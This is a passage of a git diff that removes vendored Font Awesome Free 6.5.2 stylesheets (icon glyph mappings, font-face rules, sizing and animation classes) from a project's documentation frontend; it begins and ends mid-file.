ram:before{content:"\e5b4"}.fa-user-nurse:before{content:"\f82f"}.fa-syringe:before{content:"\f48e"}.fa-cloud-sun:before{content:"\f6c4"}.fa-stopwatch-20:before{content:"\e06f"}.fa-square-full:before{content:"\f45c"}.fa-magnet:before{content:"\f076"}.fa-jar:before{content:"\e516"}.fa-note-sticky:before,.fa-sticky-note:before{content:"\f249"}.fa-bug-slash:before{content:"\e490"}.fa-arrow-up-from-water-pump:before{content:"\e4b6"}.fa-bone:before{content:"\f5d7"}.fa-user-injured:before{content:"\f728"}.fa-face-sad-tear:before,.fa-sad-tear:before{content:"\f5b4"}.fa-plane:before{content:"\f072"}.fa-tent-arrows-down:before{content:"\e581"}.fa-exclamation:before{content:"\21"}.fa-arrows-spin:before{content:"\e4bb"}.fa-print:before{content:"\f02f"}.fa-try:before,.fa-turkish-lira-sign:before,.fa-turkish-lira:before{content:"\e2bb"}.fa-dollar-sign:before,.fa-dollar:before,.fa-usd:before{content:"\24"}.fa-x:before{content:"\58"}.fa-magnifying-glass-dollar:before,.fa-search-dollar:before{content:"\f688"}.fa-users-cog:before,.fa-users-gear:before{content:"\f509"}.fa-person-military-pointing:before{content:"\e54a"}.fa-bank:before,.fa-building-columns:before,.fa-institution:before,.fa-museum:before,.fa-university:before{content:"\f19c"}.fa-umbrella:before{content:"\f0e9"}.fa-trowel:before{content:"\e589"}.fa-d:before{content:"\44"}.fa-stapler:before{content:"\e5af"}.fa-masks-theater:before,.fa-theater-masks:before{content:"\f630"}.fa-kip-sign:before{content:"\e1c4"}.fa-hand-point-left:before{content:"\f0a5"}.fa-handshake-alt:before,.fa-handshake-simple:before{content:"\f4c6"}.fa-fighter-jet:before,.fa-jet-fighter:before{content:"\f0fb"}.fa-share-alt-square:before,.fa-square-share-nodes:before{content:"\f1e1"}.fa-barcode:before{content:"\f02a"}.fa-plus-minus:before{content:"\e43c"}.fa-video-camera:before,.fa-video:before{content:"\f03d"}.fa-graduation-cap:before,.fa-mortar-board:before{content:"\f19d"}.fa-hand-holding-medical:before{content:"\e05c"}.fa-person-circle-check:before{content:"\e53e"}.fa-level-up-alt:before,.fa-turn-up:before{content:"\f3bf"}
-.fa-sr-only,.fa-sr-only-focusable:not(:focus),.sr-only,.sr-only-focusable:not(:focus){position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border-width:0}
\ No newline at end of file
diff --git a/documentation/frontend/static/fontawesome/css/regular.css b/documentation/frontend/static/fontawesome/css/regular.css
deleted file mode 100644
index dfb7e76..0000000
--- a/documentation/frontend/static/fontawesome/css/regular.css
+++ /dev/null
@@ -1,19 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-:root, :host {
- --fa-style-family-classic: 'Font Awesome 6 Free';
- --fa-font-regular: normal 400 1em/1 'Font Awesome 6 Free'; }
-
-@font-face {
- font-family: 'Font Awesome 6 Free';
- font-style: normal;
- font-weight: 400;
- font-display: block;
- src: url("../webfonts/fa-regular-400.woff2") format("woff2"), url("../webfonts/fa-regular-400.ttf") format("truetype"); }
-
-.far,
-.fa-regular {
- font-weight: 400; }
diff --git a/documentation/frontend/static/fontawesome/css/regular.min.css b/documentation/frontend/static/fontawesome/css/regular.min.css
deleted file mode 100644
index 7f1cb00..0000000
--- a/documentation/frontend/static/fontawesome/css/regular.min.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-:host,:root{--fa-style-family-classic:"Font Awesome 6 Free";--fa-font-regular:normal 400 1em/1 "Font Awesome 6 Free"}@font-face{font-family:"Font Awesome 6 Free";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/fa-regular-400.woff2) format("woff2"),url(../webfonts/fa-regular-400.ttf) format("truetype")}.fa-regular,.far{font-weight:400}
\ No newline at end of file
diff --git a/documentation/frontend/static/fontawesome/css/solid.css b/documentation/frontend/static/fontawesome/css/solid.css
deleted file mode 100644
index 3897c23..0000000
--- a/documentation/frontend/static/fontawesome/css/solid.css
+++ /dev/null
@@ -1,19 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-:root, :host {
- --fa-style-family-classic: 'Font Awesome 6 Free';
- --fa-font-solid: normal 900 1em/1 'Font Awesome 6 Free'; }
-
-@font-face {
- font-family: 'Font Awesome 6 Free';
- font-style: normal;
- font-weight: 900;
- font-display: block;
- src: url("../webfonts/fa-solid-900.woff2") format("woff2"), url("../webfonts/fa-solid-900.ttf") format("truetype"); }
-
-.fas,
-.fa-solid {
- font-weight: 900; }
diff --git a/documentation/frontend/static/fontawesome/css/solid.min.css b/documentation/frontend/static/fontawesome/css/solid.min.css
deleted file mode 100644
index e7d97d2..0000000
--- a/documentation/frontend/static/fontawesome/css/solid.min.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-:host,:root{--fa-style-family-classic:"Font Awesome 6 Free";--fa-font-solid:normal 900 1em/1 "Font Awesome 6 Free"}@font-face{font-family:"Font Awesome 6 Free";font-style:normal;font-weight:900;font-display:block;src:url(../webfonts/fa-solid-900.woff2) format("woff2"),url(../webfonts/fa-solid-900.ttf) format("truetype")}.fa-solid,.fas{font-weight:900}
\ No newline at end of file
diff --git a/documentation/frontend/static/fontawesome/css/svg-with-js.css b/documentation/frontend/static/fontawesome/css/svg-with-js.css
deleted file mode 100644
index 85b8e6d..0000000
--- a/documentation/frontend/static/fontawesome/css/svg-with-js.css
+++ /dev/null
@@ -1,640 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-:root, :host {
- --fa-font-solid: normal 900 1em/1 'Font Awesome 6 Solid';
- --fa-font-regular: normal 400 1em/1 'Font Awesome 6 Regular';
- --fa-font-light: normal 300 1em/1 'Font Awesome 6 Light';
- --fa-font-thin: normal 100 1em/1 'Font Awesome 6 Thin';
- --fa-font-duotone: normal 900 1em/1 'Font Awesome 6 Duotone';
- --fa-font-sharp-solid: normal 900 1em/1 'Font Awesome 6 Sharp';
- --fa-font-sharp-regular: normal 400 1em/1 'Font Awesome 6 Sharp';
- --fa-font-sharp-light: normal 300 1em/1 'Font Awesome 6 Sharp';
- --fa-font-sharp-thin: normal 100 1em/1 'Font Awesome 6 Sharp';
- --fa-font-brands: normal 400 1em/1 'Font Awesome 6 Brands'; }
-
-svg:not(:root).svg-inline--fa, svg:not(:host).svg-inline--fa {
- overflow: visible;
- box-sizing: content-box; }
-
-.svg-inline--fa {
- display: var(--fa-display, inline-block);
- height: 1em;
- overflow: visible;
- vertical-align: -.125em; }
- .svg-inline--fa.fa-2xs {
- vertical-align: 0.1em; }
- .svg-inline--fa.fa-xs {
- vertical-align: 0em; }
- .svg-inline--fa.fa-sm {
- vertical-align: -0.07143em; }
- .svg-inline--fa.fa-lg {
- vertical-align: -0.2em; }
- .svg-inline--fa.fa-xl {
- vertical-align: -0.25em; }
- .svg-inline--fa.fa-2xl {
- vertical-align: -0.3125em; }
- .svg-inline--fa.fa-pull-left {
- margin-right: var(--fa-pull-margin, 0.3em);
- width: auto; }
- .svg-inline--fa.fa-pull-right {
- margin-left: var(--fa-pull-margin, 0.3em);
- width: auto; }
- .svg-inline--fa.fa-li {
- width: var(--fa-li-width, 2em);
- top: 0.25em; }
- .svg-inline--fa.fa-fw {
- width: var(--fa-fw-width, 1.25em); }
-
-.fa-layers svg.svg-inline--fa {
- bottom: 0;
- left: 0;
- margin: auto;
- position: absolute;
- right: 0;
- top: 0; }
-
-.fa-layers-text, .fa-layers-counter {
- display: inline-block;
- position: absolute;
- text-align: center; }
-
-.fa-layers {
- display: inline-block;
- height: 1em;
- position: relative;
- text-align: center;
- vertical-align: -.125em;
- width: 1em; }
- .fa-layers svg.svg-inline--fa {
- -webkit-transform-origin: center center;
- transform-origin: center center; }
-
-.fa-layers-text {
- left: 50%;
- top: 50%;
- -webkit-transform: translate(-50%, -50%);
- transform: translate(-50%, -50%);
- -webkit-transform-origin: center center;
- transform-origin: center center; }
-
-.fa-layers-counter {
- background-color: var(--fa-counter-background-color, #ff253a);
- border-radius: var(--fa-counter-border-radius, 1em);
- box-sizing: border-box;
- color: var(--fa-inverse, #fff);
- line-height: var(--fa-counter-line-height, 1);
- max-width: var(--fa-counter-max-width, 5em);
- min-width: var(--fa-counter-min-width, 1.5em);
- overflow: hidden;
- padding: var(--fa-counter-padding, 0.25em 0.5em);
- right: var(--fa-right, 0);
- text-overflow: ellipsis;
- top: var(--fa-top, 0);
- -webkit-transform: scale(var(--fa-counter-scale, 0.25));
- transform: scale(var(--fa-counter-scale, 0.25));
- -webkit-transform-origin: top right;
- transform-origin: top right; }
-
-.fa-layers-bottom-right {
- bottom: var(--fa-bottom, 0);
- right: var(--fa-right, 0);
- top: auto;
- -webkit-transform: scale(var(--fa-layers-scale, 0.25));
- transform: scale(var(--fa-layers-scale, 0.25));
- -webkit-transform-origin: bottom right;
- transform-origin: bottom right; }
-
-.fa-layers-bottom-left {
- bottom: var(--fa-bottom, 0);
- left: var(--fa-left, 0);
- right: auto;
- top: auto;
- -webkit-transform: scale(var(--fa-layers-scale, 0.25));
- transform: scale(var(--fa-layers-scale, 0.25));
- -webkit-transform-origin: bottom left;
- transform-origin: bottom left; }
-
-.fa-layers-top-right {
- top: var(--fa-top, 0);
- right: var(--fa-right, 0);
- -webkit-transform: scale(var(--fa-layers-scale, 0.25));
- transform: scale(var(--fa-layers-scale, 0.25));
- -webkit-transform-origin: top right;
- transform-origin: top right; }
-
-.fa-layers-top-left {
- left: var(--fa-left, 0);
- right: auto;
- top: var(--fa-top, 0);
- -webkit-transform: scale(var(--fa-layers-scale, 0.25));
- transform: scale(var(--fa-layers-scale, 0.25));
- -webkit-transform-origin: top left;
- transform-origin: top left; }
-
-.fa-1x {
- font-size: 1em; }
-
-.fa-2x {
- font-size: 2em; }
-
-.fa-3x {
- font-size: 3em; }
-
-.fa-4x {
- font-size: 4em; }
-
-.fa-5x {
- font-size: 5em; }
-
-.fa-6x {
- font-size: 6em; }
-
-.fa-7x {
- font-size: 7em; }
-
-.fa-8x {
- font-size: 8em; }
-
-.fa-9x {
- font-size: 9em; }
-
-.fa-10x {
- font-size: 10em; }
-
-.fa-2xs {
- font-size: 0.625em;
- line-height: 0.1em;
- vertical-align: 0.225em; }
-
-.fa-xs {
- font-size: 0.75em;
- line-height: 0.08333em;
- vertical-align: 0.125em; }
-
-.fa-sm {
- font-size: 0.875em;
- line-height: 0.07143em;
- vertical-align: 0.05357em; }
-
-.fa-lg {
- font-size: 1.25em;
- line-height: 0.05em;
- vertical-align: -0.075em; }
-
-.fa-xl {
- font-size: 1.5em;
- line-height: 0.04167em;
- vertical-align: -0.125em; }
-
-.fa-2xl {
- font-size: 2em;
- line-height: 0.03125em;
- vertical-align: -0.1875em; }
-
-.fa-fw {
- text-align: center;
- width: 1.25em; }
-
-.fa-ul {
- list-style-type: none;
- margin-left: var(--fa-li-margin, 2.5em);
- padding-left: 0; }
- .fa-ul > li {
- position: relative; }
-
-.fa-li {
- left: calc(var(--fa-li-width, 2em) * -1);
- position: absolute;
- text-align: center;
- width: var(--fa-li-width, 2em);
- line-height: inherit; }
-
-.fa-border {
- border-color: var(--fa-border-color, #eee);
- border-radius: var(--fa-border-radius, 0.1em);
- border-style: var(--fa-border-style, solid);
- border-width: var(--fa-border-width, 0.08em);
- padding: var(--fa-border-padding, 0.2em 0.25em 0.15em); }
-
-.fa-pull-left {
- float: left;
- margin-right: var(--fa-pull-margin, 0.3em); }
-
-.fa-pull-right {
- float: right;
- margin-left: var(--fa-pull-margin, 0.3em); }
-
-.fa-beat {
- -webkit-animation-name: fa-beat;
- animation-name: fa-beat;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, ease-in-out);
- animation-timing-function: var(--fa-animation-timing, ease-in-out); }
-
-.fa-bounce {
- -webkit-animation-name: fa-bounce;
- animation-name: fa-bounce;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.28, 0.84, 0.42, 1));
- animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.28, 0.84, 0.42, 1)); }
-
-.fa-fade {
- -webkit-animation-name: fa-fade;
- animation-name: fa-fade;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.4, 0, 0.6, 1));
- animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.4, 0, 0.6, 1)); }
-
-.fa-beat-fade {
- -webkit-animation-name: fa-beat-fade;
- animation-name: fa-beat-fade;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.4, 0, 0.6, 1));
- animation-timing-function: var(--fa-animation-timing, cubic-bezier(0.4, 0, 0.6, 1)); }
-
-.fa-flip {
- -webkit-animation-name: fa-flip;
- animation-name: fa-flip;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, ease-in-out);
- animation-timing-function: var(--fa-animation-timing, ease-in-out); }
-
-.fa-shake {
- -webkit-animation-name: fa-shake;
- animation-name: fa-shake;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, linear);
- animation-timing-function: var(--fa-animation-timing, linear); }
-
-.fa-spin {
- -webkit-animation-name: fa-spin;
- animation-name: fa-spin;
- -webkit-animation-delay: var(--fa-animation-delay, 0s);
- animation-delay: var(--fa-animation-delay, 0s);
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 2s);
- animation-duration: var(--fa-animation-duration, 2s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, linear);
- animation-timing-function: var(--fa-animation-timing, linear); }
-
-.fa-spin-reverse {
- --fa-animation-direction: reverse; }
-
-.fa-pulse,
-.fa-spin-pulse {
- -webkit-animation-name: fa-spin;
- animation-name: fa-spin;
- -webkit-animation-direction: var(--fa-animation-direction, normal);
- animation-direction: var(--fa-animation-direction, normal);
- -webkit-animation-duration: var(--fa-animation-duration, 1s);
- animation-duration: var(--fa-animation-duration, 1s);
- -webkit-animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- animation-iteration-count: var(--fa-animation-iteration-count, infinite);
- -webkit-animation-timing-function: var(--fa-animation-timing, steps(8));
- animation-timing-function: var(--fa-animation-timing, steps(8)); }
-
-@media (prefers-reduced-motion: reduce) {
- .fa-beat,
- .fa-bounce,
- .fa-fade,
- .fa-beat-fade,
- .fa-flip,
- .fa-pulse,
- .fa-shake,
- .fa-spin,
- .fa-spin-pulse {
- -webkit-animation-delay: -1ms;
- animation-delay: -1ms;
- -webkit-animation-duration: 1ms;
- animation-duration: 1ms;
- -webkit-animation-iteration-count: 1;
- animation-iteration-count: 1;
- -webkit-transition-delay: 0s;
- transition-delay: 0s;
- -webkit-transition-duration: 0s;
- transition-duration: 0s; } }
-
-@-webkit-keyframes fa-beat {
- 0%, 90% {
- -webkit-transform: scale(1);
- transform: scale(1); }
- 45% {
- -webkit-transform: scale(var(--fa-beat-scale, 1.25));
- transform: scale(var(--fa-beat-scale, 1.25)); } }
-
-@keyframes fa-beat {
- 0%, 90% {
- -webkit-transform: scale(1);
- transform: scale(1); }
- 45% {
- -webkit-transform: scale(var(--fa-beat-scale, 1.25));
- transform: scale(var(--fa-beat-scale, 1.25)); } }
-
-@-webkit-keyframes fa-bounce {
- 0% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); }
- 10% {
- -webkit-transform: scale(var(--fa-bounce-start-scale-x, 1.1), var(--fa-bounce-start-scale-y, 0.9)) translateY(0);
- transform: scale(var(--fa-bounce-start-scale-x, 1.1), var(--fa-bounce-start-scale-y, 0.9)) translateY(0); }
- 30% {
- -webkit-transform: scale(var(--fa-bounce-jump-scale-x, 0.9), var(--fa-bounce-jump-scale-y, 1.1)) translateY(var(--fa-bounce-height, -0.5em));
- transform: scale(var(--fa-bounce-jump-scale-x, 0.9), var(--fa-bounce-jump-scale-y, 1.1)) translateY(var(--fa-bounce-height, -0.5em)); }
- 50% {
- -webkit-transform: scale(var(--fa-bounce-land-scale-x, 1.05), var(--fa-bounce-land-scale-y, 0.95)) translateY(0);
- transform: scale(var(--fa-bounce-land-scale-x, 1.05), var(--fa-bounce-land-scale-y, 0.95)) translateY(0); }
- 57% {
- -webkit-transform: scale(1, 1) translateY(var(--fa-bounce-rebound, -0.125em));
- transform: scale(1, 1) translateY(var(--fa-bounce-rebound, -0.125em)); }
- 64% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); }
- 100% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); } }
-
-@keyframes fa-bounce {
- 0% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); }
- 10% {
- -webkit-transform: scale(var(--fa-bounce-start-scale-x, 1.1), var(--fa-bounce-start-scale-y, 0.9)) translateY(0);
- transform: scale(var(--fa-bounce-start-scale-x, 1.1), var(--fa-bounce-start-scale-y, 0.9)) translateY(0); }
- 30% {
- -webkit-transform: scale(var(--fa-bounce-jump-scale-x, 0.9), var(--fa-bounce-jump-scale-y, 1.1)) translateY(var(--fa-bounce-height, -0.5em));
- transform: scale(var(--fa-bounce-jump-scale-x, 0.9), var(--fa-bounce-jump-scale-y, 1.1)) translateY(var(--fa-bounce-height, -0.5em)); }
- 50% {
- -webkit-transform: scale(var(--fa-bounce-land-scale-x, 1.05), var(--fa-bounce-land-scale-y, 0.95)) translateY(0);
- transform: scale(var(--fa-bounce-land-scale-x, 1.05), var(--fa-bounce-land-scale-y, 0.95)) translateY(0); }
- 57% {
- -webkit-transform: scale(1, 1) translateY(var(--fa-bounce-rebound, -0.125em));
- transform: scale(1, 1) translateY(var(--fa-bounce-rebound, -0.125em)); }
- 64% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); }
- 100% {
- -webkit-transform: scale(1, 1) translateY(0);
- transform: scale(1, 1) translateY(0); } }
-
-@-webkit-keyframes fa-fade {
- 50% {
- opacity: var(--fa-fade-opacity, 0.4); } }
-
-@keyframes fa-fade {
- 50% {
- opacity: var(--fa-fade-opacity, 0.4); } }
-
-@-webkit-keyframes fa-beat-fade {
- 0%, 100% {
- opacity: var(--fa-beat-fade-opacity, 0.4);
- -webkit-transform: scale(1);
- transform: scale(1); }
- 50% {
- opacity: 1;
- -webkit-transform: scale(var(--fa-beat-fade-scale, 1.125));
- transform: scale(var(--fa-beat-fade-scale, 1.125)); } }
-
-@keyframes fa-beat-fade {
- 0%, 100% {
- opacity: var(--fa-beat-fade-opacity, 0.4);
- -webkit-transform: scale(1);
- transform: scale(1); }
- 50% {
- opacity: 1;
- -webkit-transform: scale(var(--fa-beat-fade-scale, 1.125));
- transform: scale(var(--fa-beat-fade-scale, 1.125)); } }
-
-@-webkit-keyframes fa-flip {
- 50% {
- -webkit-transform: rotate3d(var(--fa-flip-x, 0), var(--fa-flip-y, 1), var(--fa-flip-z, 0), var(--fa-flip-angle, -180deg));
- transform: rotate3d(var(--fa-flip-x, 0), var(--fa-flip-y, 1), var(--fa-flip-z, 0), var(--fa-flip-angle, -180deg)); } }
-
-@keyframes fa-flip {
- 50% {
- -webkit-transform: rotate3d(var(--fa-flip-x, 0), var(--fa-flip-y, 1), var(--fa-flip-z, 0), var(--fa-flip-angle, -180deg));
- transform: rotate3d(var(--fa-flip-x, 0), var(--fa-flip-y, 1), var(--fa-flip-z, 0), var(--fa-flip-angle, -180deg)); } }
-
-@-webkit-keyframes fa-shake {
- 0% {
- -webkit-transform: rotate(-15deg);
- transform: rotate(-15deg); }
- 4% {
- -webkit-transform: rotate(15deg);
- transform: rotate(15deg); }
- 8%, 24% {
- -webkit-transform: rotate(-18deg);
- transform: rotate(-18deg); }
- 12%, 28% {
- -webkit-transform: rotate(18deg);
- transform: rotate(18deg); }
- 16% {
- -webkit-transform: rotate(-22deg);
- transform: rotate(-22deg); }
- 20% {
- -webkit-transform: rotate(22deg);
- transform: rotate(22deg); }
- 32% {
- -webkit-transform: rotate(-12deg);
- transform: rotate(-12deg); }
- 36% {
- -webkit-transform: rotate(12deg);
- transform: rotate(12deg); }
- 40%, 100% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg); } }
-
-@keyframes fa-shake {
- 0% {
- -webkit-transform: rotate(-15deg);
- transform: rotate(-15deg); }
- 4% {
- -webkit-transform: rotate(15deg);
- transform: rotate(15deg); }
- 8%, 24% {
- -webkit-transform: rotate(-18deg);
- transform: rotate(-18deg); }
- 12%, 28% {
- -webkit-transform: rotate(18deg);
- transform: rotate(18deg); }
- 16% {
- -webkit-transform: rotate(-22deg);
- transform: rotate(-22deg); }
- 20% {
- -webkit-transform: rotate(22deg);
- transform: rotate(22deg); }
- 32% {
- -webkit-transform: rotate(-12deg);
- transform: rotate(-12deg); }
- 36% {
- -webkit-transform: rotate(12deg);
- transform: rotate(12deg); }
- 40%, 100% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg); } }
-
-@-webkit-keyframes fa-spin {
- 0% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg); }
- 100% {
- -webkit-transform: rotate(360deg);
- transform: rotate(360deg); } }
-
-@keyframes fa-spin {
- 0% {
- -webkit-transform: rotate(0deg);
- transform: rotate(0deg); }
- 100% {
- -webkit-transform: rotate(360deg);
- transform: rotate(360deg); } }
-
-.fa-rotate-90 {
- -webkit-transform: rotate(90deg);
- transform: rotate(90deg); }
-
-.fa-rotate-180 {
- -webkit-transform: rotate(180deg);
- transform: rotate(180deg); }
-
-.fa-rotate-270 {
- -webkit-transform: rotate(270deg);
- transform: rotate(270deg); }
-
-.fa-flip-horizontal {
- -webkit-transform: scale(-1, 1);
- transform: scale(-1, 1); }
-
-.fa-flip-vertical {
- -webkit-transform: scale(1, -1);
- transform: scale(1, -1); }
-
-.fa-flip-both,
-.fa-flip-horizontal.fa-flip-vertical {
- -webkit-transform: scale(-1, -1);
- transform: scale(-1, -1); }
-
-.fa-rotate-by {
- -webkit-transform: rotate(var(--fa-rotate-angle, 0));
- transform: rotate(var(--fa-rotate-angle, 0)); }
-
-.fa-stack {
- display: inline-block;
- vertical-align: middle;
- height: 2em;
- position: relative;
- width: 2.5em; }
-
-.fa-stack-1x,
-.fa-stack-2x {
- bottom: 0;
- left: 0;
- margin: auto;
- position: absolute;
- right: 0;
- top: 0;
- z-index: var(--fa-stack-z-index, auto); }
-
-.svg-inline--fa.fa-stack-1x {
- height: 1em;
- width: 1.25em; }
-
-.svg-inline--fa.fa-stack-2x {
- height: 2em;
- width: 2.5em; }
-
-.fa-inverse {
- color: var(--fa-inverse, #fff); }
-
-.sr-only,
-.fa-sr-only {
- position: absolute;
- width: 1px;
- height: 1px;
- padding: 0;
- margin: -1px;
- overflow: hidden;
- clip: rect(0, 0, 0, 0);
- white-space: nowrap;
- border-width: 0; }
-
-.sr-only-focusable:not(:focus),
-.fa-sr-only-focusable:not(:focus) {
- position: absolute;
- width: 1px;
- height: 1px;
- padding: 0;
- margin: -1px;
- overflow: hidden;
- clip: rect(0, 0, 0, 0);
- white-space: nowrap;
- border-width: 0; }
-
-.svg-inline--fa .fa-primary {
- fill: var(--fa-primary-color, currentColor);
- opacity: var(--fa-primary-opacity, 1); }
-
-.svg-inline--fa .fa-secondary {
- fill: var(--fa-secondary-color, currentColor);
- opacity: var(--fa-secondary-opacity, 0.4); }
-
-.svg-inline--fa.fa-swap-opacity .fa-primary {
- opacity: var(--fa-secondary-opacity, 0.4); }
-
-.svg-inline--fa.fa-swap-opacity .fa-secondary {
- opacity: var(--fa-primary-opacity, 1); }
-
-.svg-inline--fa mask .fa-primary,
-.svg-inline--fa mask .fa-secondary {
- fill: black; }
-
-.fad.fa-inverse,
-.fa-duotone.fa-inverse {
- color: var(--fa-inverse, #fff); }
diff --git a/documentation/frontend/static/fontawesome/css/svg-with-js.min.css b/documentation/frontend/static/fontawesome/css/svg-with-js.min.css
deleted file mode 100644
index a99cebb..0000000
--- a/documentation/frontend/static/fontawesome/css/svg-with-js.min.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-:host,:root{--fa-font-solid:normal 900 1em/1 "Font Awesome 6 Solid";--fa-font-regular:normal 400 1em/1 "Font Awesome 6 Regular";--fa-font-light:normal 300 1em/1 "Font Awesome 6 Light";--fa-font-thin:normal 100 1em/1 "Font Awesome 6 Thin";--fa-font-duotone:normal 900 1em/1 "Font Awesome 6 Duotone";--fa-font-sharp-solid:normal 900 1em/1 "Font Awesome 6 Sharp";--fa-font-sharp-regular:normal 400 1em/1 "Font Awesome 6 Sharp";--fa-font-sharp-light:normal 300 1em/1 "Font Awesome 6 Sharp";--fa-font-sharp-thin:normal 100 1em/1 "Font Awesome 6 Sharp";--fa-font-brands:normal 400 1em/1 "Font Awesome 6 Brands"}svg:not(:host).svg-inline--fa,svg:not(:root).svg-inline--fa{overflow:visible;box-sizing:content-box}.svg-inline--fa{display:var(--fa-display,inline-block);height:1em;overflow:visible;vertical-align:-.125em}.svg-inline--fa.fa-2xs{vertical-align:.1em}.svg-inline--fa.fa-xs{vertical-align:0}.svg-inline--fa.fa-sm{vertical-align:-.07143em}.svg-inline--fa.fa-lg{vertical-align:-.2em}.svg-inline--fa.fa-xl{vertical-align:-.25em}.svg-inline--fa.fa-2xl{vertical-align:-.3125em}.svg-inline--fa.fa-pull-left{margin-right:var(--fa-pull-margin,.3em);width:auto}.svg-inline--fa.fa-pull-right{margin-left:var(--fa-pull-margin,.3em);width:auto}.svg-inline--fa.fa-li{width:var(--fa-li-width,2em);top:.25em}.svg-inline--fa.fa-fw{width:var(--fa-fw-width,1.25em)}.fa-layers 